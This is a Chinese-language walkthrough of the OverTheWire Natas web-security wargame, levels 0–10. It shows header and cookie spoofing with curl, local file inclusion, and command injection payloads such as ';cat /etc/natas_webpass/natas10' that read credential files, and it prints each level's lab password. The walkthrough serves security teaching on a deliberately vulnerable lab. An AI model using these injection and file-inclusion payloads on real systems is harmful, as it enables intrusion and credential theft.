Natas通关指南(1-10)

Natas通关指南(1-10)

首页游戏大全万赢娱乐wy831更新时间:2024-04-16

原创: Lof_x 合天智汇 昨天

OverTheWire 是一个 wargame 网站。其中 Natas 是一个适合学习Web安全基础的游戏,在Natas 中,我们需要通过找到网站的漏洞获得通往下一关的密码。每一关都有一个网站,类似 http://natasX.natas.labs.overthewire.org,其中X是每一关的编号。每一关都要输入用户名(例如,level0的用户名是natas0)及其密码才能访问。所有密码存储在 /etc/natas_webpass/中。例如natas1的密码存储在文件 /etc/natas_webpass/natas1中,只能由natas0natas1读取。

网站:

http://overthewire.org/wargames/natas/

Tips:所用工具:Chrome浏览器;Curl

Level 0 -1

Username: natas0

Password: natas0

URL: http://natas0.natas.labs.overthewire.org

首先登录natas0,得到一句提示:

  1. You can find the password for the next level on this page.

通过查看页面源代码,发现注释掉的代码,即为natas1的密码

  1. <div
  2. id
  3. =
  4. "content"
  5. >
  6. You can find the password for the next level on this page.
  7. <!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
  8. </div>

Level 1 -2

Username: natas1

URL: http://natas1.natas.labs.overthewire.org

登录natas1,得到一句提示:

  1. You can find the password for the next level on this page, but rightclicking has been blocked!

提示说,可以在这一页找到密码,但是禁用了右键功能,那我们按F12就好了,打开浏览器的开发者工具,切换到Elements选项卡,查看页面的源代码,发现了密码。

  1. <div
  2. id
  3. =
  4. "content"
  5. >
  6. You can find the password for the
  7. next level on this page, but rightclicking has been blocked!
  8. <!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
  9. </div>

Level 2 -3

Username: natas2

URL: http://natas2.natas.labs.overthewire.org

登录natas2,提示如下:

  1. There is nothing on this page

查看页面源代码中没有发现进入下一关的密码,但是发现了一个 img标签,引用了一张图片

  1. <div
  2. id
  3. =
  4. "content"
  5. >
  6. There is nothing on this page
  7. <img
  8. src
  9. =
  10. "files/pixel.png"
  11. >
  12. </div>
  13. </body></html>

访问这个链接: http://natas2.natas.labs.overthewire.org/files/pixel.png,没有什么发现,试试访问它的上一级路径: http://natas2.natas.labs.overthewire.org/files/,发现是一个允许列目录的路径。

  1. index of /files
  2. [ICO] Name Last modified Size Description
  3. [PARENTDIR] Parent Directory -
  4. [IMG] pixel.png 2016-12-15 16:07 303
  5. [TXT] users.txt 2016-12-20 05:15 145
  6. Apache/2.4.10 (Debian) Server at natas2.natas.labs.overthewire.org Port 80

访问users.txt,发现密码

  1. # username:password
  2. alice:BYNdCesZqW
  3. bob:jw2ueICLvT
  4. charlie:G5vCxkVV3m
  5. natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
  6. eve:zo4mJWyNj2
  7. mallory:9urtcpzBmH

Level 3 -4

Username: natas3

URL: http://natas3.natas.labs.overthewire.org

登录natas3,同样提示 Thereisnothing onthispage

查看页面源代码,发现一句提示:

  1. <div
  2. id
  3. =
  4. "content"
  5. >
  6. There is nothing on this page
  7. <!-- No more information leaks!! Not even Google will find it this time... -->
  8. </div>

说Google不会找到它,我们知道Google是搜索引擎,如果要让搜索引擎不爬取相关页面,只需要在网站下放一个 robots.txt文件即可,搜索引擎会遵守里面的规则,不爬取禁止的页面。

所以看看 robots.txt文件,访问 http://natas3.natas.labs.overthewire.org/robots.txt,可以看到如下内容:

  1. User-agent: *
  2. Disallow: /s3cr3t/

访问 http://natas3.natas.labs.overthewire.org/s3cr3t/发现一个 users.txt文件,得到natas4的密码。

Level 4 -5

Username: natas4

URL: http://natas4.natas.labs.overthewire.org

先访问之,提示 Accessdisallowed.Youare visitingfrom"http://natas4.natas.labs.overthewire.org/"whileauthorized users should come onlyfrom"http://natas5.natas.labs.overthewire.org/",意思是你当前访问的页面需要从 http://natas5.natas.labs.overthewire.org/页面来,才能通过认证。

这里涉及一个概念: HTTpreferer,它是 http header的一部分,当浏览器向web服务器发送请求的时候,一般会带上 Referer,告诉服务器我是从哪个页面链接过来的。

打开浏览器的开发者工具,切换到Network选项卡,刷新页面,观察页面请求,就能发现浏览器请求 http://natas4.natas.labs.overthewire.org页面的请求头:

  1. Accept: ..........
  2. .................
  3. Referer: http://natas4.natas.labs.overthewire.org/

其中 Referer就是告诉浏览器当前页面是从哪个页面链接过来的,所以我们只需要把这个值改成 http://natas5.natas.labs.overthewire.org/就行。这里我们使用 curl这个工具,发送请求即可得到密码,当然也可以使用浏览器编辑请求重放功能,比如 Firefox就有这个功能

  1. C
  2. :
  3. \Users\Root
  4. >
  5. curl
  6. -
  7. isu natas4
  8. :
  9. Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ natas4
  10. .
  11. natas
  12. .
  13. labs
  14. .
  15. overthewire
  16. .
  17. org
  18. --
  19. referer
  20. "http://natas5.natas.labs.overthewire.org/"
  21. HTTP
  22. /
  23. 1.1
  24. 200
  25. OK
  26. .......省略
  27. Access
  28. granted
  29. .
  30. The
  31. password
  32. for
  33. natas5
  34. is
  35. iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

Level 5 -6

Username: natas5

URL: http://natas5.natas.labs.overthewire.org

登录后提示 Accessdisallowed.Youarenotloggedin。这就有点坑了,明明我们登录了,但是提示我们没有登录,这是为什么呢?

这里就不得不说 http协议的特点了, http协议是一种无状态的协议,每次传输完数据就会断开连接,那怎么才能验证身份呢,这时候就就靠 cookie了, cookie由服务器分配给浏览器的, cookie存储了会话状态和身份信息,之后每次 http请求,都会带上 cookie信息给服务器,服务器根据 cookie信息做出不同的响应。

让我们来看一下登录 http://natas5.natas.labs.overthewire.org之后浏览器存储的 cookie,同样可以通过浏览器的开发者工具查看,Network选项卡中,点击请求的连接,然后点Cookies即可看到,我们看到 cookie信息中有个 loggedin的属性,它的属性值是 0,我们将它改成 1试试

  1. C
  2. :
  3. \Users\Root
  4. >
  5. curl
  6. -
  7. isu natas5
  8. :
  9. iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq natas5
  10. .
  11. natas
  12. .
  13. labs
  14. .
  15. overthewire
  16. .
  17. org
  18. --
  19. cookie
  20. "loggedin=1"
  21. HTTP
  22. /
  23. 1.1
  24. 200
  25. OK
  26. ......
  27. Access
  28. granted
  29. .
  30. The
  31. password
  32. for
  33. natas6
  34. is
  35. aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
  36. </
  37. div
  38. >
  39. </
  40. body
  41. >
  42. </
  43. html
  44. >

得到密码。

Level 6 -7

Username: natas6

URL: http://natas6.natas.labs.overthewire.org

登录后,页面提示 Inputsecret:,和一个 提交按钮,还有个 Viewsourcecode按钮。

好像是需要我们提交一个参数,才会返回密码,我们可以点击 Viewsourcecode查看页面源代码,以下是关键代码:

  1. <html>
  2. <div
  3. id
  4. =
  5. "content"
  6. >
  7. ........
  8. <?
  9. include
  10. "includes/secret.inc"
  11. ;
  12. if
  13. (
  14. array_key_exists
  15. (
  16. "submit"
  17. ,
  18. $_POST
  19. ))
  20. {
  21. if
  22. (
  23. $secret
  24. ==
  25. $_POST
  26. [
  27. 'secret'
  28. ])
  29. {
  30. print
  31. "Access granted. The password for natas7 is <censored>"
  32. ;
  33. }
  34. else
  35. {
  36. print
  37. "Wrong secret"
  38. ;
  39. }
  40. }
  41. ?>
  42. <form
  43. method
  44. =
  45. post
  46. >
  47. Input secret:
  48. <input
  49. name
  50. =
  51. secret
  52. ><br>
  53. <input
  54. type
  55. =
  56. submit
  57. name
  58. =
  59. submit
  60. >
  61. </form>

代码的意思是,提交一个密钥,如果这个密钥和一个特定的密钥相同,便返回 natas7的密码,我们虽然不知道这个特殊的密钥是什么,但是代码中有一句 include"includes/secret.inc",说明是用这里面的密钥作比较,我们访问这个链接试试。返回了如下内容:

  1. <?
  2. $secret
  3. =
  4. "FOEIUWGHFEEUHOFUOIU"
  5. ;
  6. ?>

然后我们把这个密钥提交,然后即可得到密码:

  1. Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

Level 7 -8

Username: natas7

URL: http://natas7.natas.labs.overthewire.org

登录后,页面上有两个可以点击的按钮,分别是HomeAbout,对应的链接分别是 http://natas7.natas.labs.overthewire.org/index.php?page=home和 http://natas7.natas.labs.overthewire.org/index.php?page=about,查看页面源码发现有一句被注释掉的提示:

  1. <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

通过浏览器观察页面请求,发现不管是访问 home还是 about都是通过 get方式提交参数访问的,而不是跳转。加上这句提示,这可能是文件包含漏洞,我们可以测试一下,尝试提交一些不存在的路径,比如访问 http://natas7.natas.labs.overthewire.org/index.php?page=\,然后会返回一些报错信息:

  1. Warning: include(\): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21
  2. Warning: include(): Failed opening '\' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21

这更加证实了,是通过传参,然后调用 include()函数。那我们把 /etc/natas_webpass/natas8作为参数传入。

  1. http
  2. :
  3. //natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

成功得到密码: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Level 8 -9

Username: natas8

URL: http://natas8.natas.labs.overthewire.org

登录后,发现页面内容和 Level6-7是一样的。点击 Viewsourcecode查看页面源代码,关键代码如下:

  1. <?
  2. $encodedSecret
  3. =
  4. "3d3d516343746d4d6d6c315669563362"
  5. ;
  6. function
  7. encodeSecret
  8. (
  9. $secret
  10. )
  11. {
  12. return
  13. bin2hex
  14. (
  15. strrev
  16. (
  17. base64_encode
  18. (
  19. $secret
  20. )));
  21. }
  22. if
  23. (
  24. array_key_exists
  25. (
  26. "submit"
  27. ,
  28. $_POST
  29. ))
  30. {
  31. if
  32. (
  33. encodeSecret
  34. (
  35. $_POST
  36. [
  37. 'secret'
  38. ])
  39. ==
  40. $encodedSecret
  41. )
  42. {
  43. print
  44. "Access granted. The password for natas9 is <censored>"
  45. ;
  46. }
  47. else
  48. {
  49. print
  50. "Wrong secret"
  51. ;
  52. }
  53. }
  54. ?>
  55. <form
  56. method
  57. =
  58. post
  59. >
  60. Input secret:
  61. <input
  62. name
  63. =
  64. secret
  65. ><br>
  66. <input
  67. type
  68. =
  69. submit
  70. name
  71. =
  72. submit
  73. >
  74. </form>

同样需要提交一个正确的密钥,代码中给出了编码方法和编码后的结果,所以我们反着来一遍即可。

  1. /*decode.php*/
  2. <?
  3. php
  4. echo base64_decode
  5. (
  6. strrev
  7. (
  8. hex2bin
  9. (
  10. "3d3d516343746d4d6d6c315669563362"
  11. )));
  12. ?>

将得到的结果作为参数提交,即可得到natas9的密码: Accessgranted.Thepasswordfornatas9isW0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Level 9 -10

Username: natas9

URL: http://natas9.natas.labs.overthewire.org

登录后,提示 Findwords containing:,需要输入一些内容,然后搜索,然后会输出一些内容。

同样可以点击 Viewsourcecode查看页面源代码,关键代码:

  1. Output
  2. :
  3. <pre>
  4. <?
  5. $key
  6. =
  7. ""
  8. ;
  9. if
  10. (
  11. array_key_exists
  12. (
  13. "needle"
  14. ,
  15. $_REQUEST
  16. ))
  17. {
  18. $key
  19. =
  20. $_REQUEST
  21. [
  22. "needle"
  23. ];
  24. }
  25. if
  26. (
  27. $key
  28. !=
  29. ""
  30. )
  31. {
  32. passthru
  33. (
  34. "grep -i $key dictionary.txt"
  35. );
  36. }
  37. ?>
  38. </
  39. pre
  40. >

通过代码可以看出,通过 passthru函数调用了 grep命令来查找我们提交的内容是否在 dictionary.txt中,但我们并不知道这个文件中有什么内容。既然调用了系统命令,我们试试命令注入吧。

Tips:同 exec()函数类似, passthru()函数也是用来执行外部命令 (command)的。

我们提交 ;cat/etc/natas_webpass/natas10,利用 ;分号截断 grep命令,加上第二命令,命令注入成功,成功返回密码: Output:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Level 10 -11

Username: natas10

URL: http://natas10.natas.labs.overthewire.org

登录后,和上一关一样,不过提示说 Forsecurity reasons,we now filter on certain characters(出于安全考虑,过滤了一些字符)。

先看看关键代码:

  1. Output
  2. :
  3. <pre>
  4. <?
  5. $key
  6. =
  7. ""
  8. ;
  9. if
  10. (
  11. array_key_exists
  12. (
  13. "needle"
  14. ,
  15. $_REQUEST
  16. ))
  17. {
  18. $key
  19. =
  20. $_REQUEST
  21. [
  22. "needle"
  23. ];
  24. }
  25. if
  26. (
  27. $key
  28. !=
  29. ""
  30. )
  31. {
  32. if
  33. (
  34. preg_match
  35. (
  36. '/[;|&]/'
  37. ,
  38. $key
  39. ))
  40. {
  41. print
  42. "Input contains an illegal character!"
  43. ;
  44. }
  45. else
  46. {
  47. passthru
  48. (
  49. "grep -i $key dictionary.txt"
  50. );
  51. }
  52. }
  53. ?>
  54. </
  55. pre
  56. >

可以发现,过滤了 ;|&这几个符号,说明不能再通过这几个符号截断 grep了。我们可以试试利用 grep本身。 grep是支持正则表达式的,我们试试利用正则查找,提交内容为 [a-zA-Z]/etc/natas_webpass/natas11,成功返回密码。 /etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

未完待续......

查看全文
大家还看了
也许喜欢
更多游戏

Copyright © 2024 妖气游戏网 www.17u1u.com All Rights Reserved